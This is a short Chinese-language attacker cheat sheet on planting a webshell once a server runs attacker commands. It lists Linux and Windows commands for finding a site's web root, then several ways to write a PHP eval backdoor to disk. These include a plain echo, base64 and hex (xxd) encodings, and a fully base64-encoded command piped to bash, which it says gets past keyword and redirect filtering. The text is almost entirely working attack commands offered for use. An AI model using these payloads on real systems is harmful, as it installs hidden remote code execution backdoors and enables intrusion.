-
寻找web的路径
linux:
find / -name index.php
find / -name index.*
windows:
for /r d:/ %i in (index.php) do @echo %i
for /r d:/ %i in (index.*) do @echo %i( 2 ) 源码查找法
查看web页面的源码,找一段特征明显的源码进行查找
linux:
find / -name "*.*" | xargs grep "PHP installed properly"
find /var/www/ -name "*.php" | xargs grep "doServerTest()"
windows:
findstr /s/i/n /d:D:\sec_tools\ /c:"html" *.html
findstr /s/i/n /d:C:\windows\ /c:"success" *.* -
写入webshell
( 1 ) echo直接写入
echo '<?php eval($_POST[1]); ?>' > 1.php
一般写入都会失败,关键字会被屏蔽
( 2 ) base64写入
echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php
一般比较通用。
( 3 ) 绕过重定向符号 (将整体命令进行编码)
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash
( 4 ) 使用wget进行远程下载文件
( 5 )使用hex进行写入
生成十六进制的字符串 (-ps)
echo '<?php eval($_POST[1]); ?>' |xxd -ps
将字符串还原为命令 (-r -ps)
echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php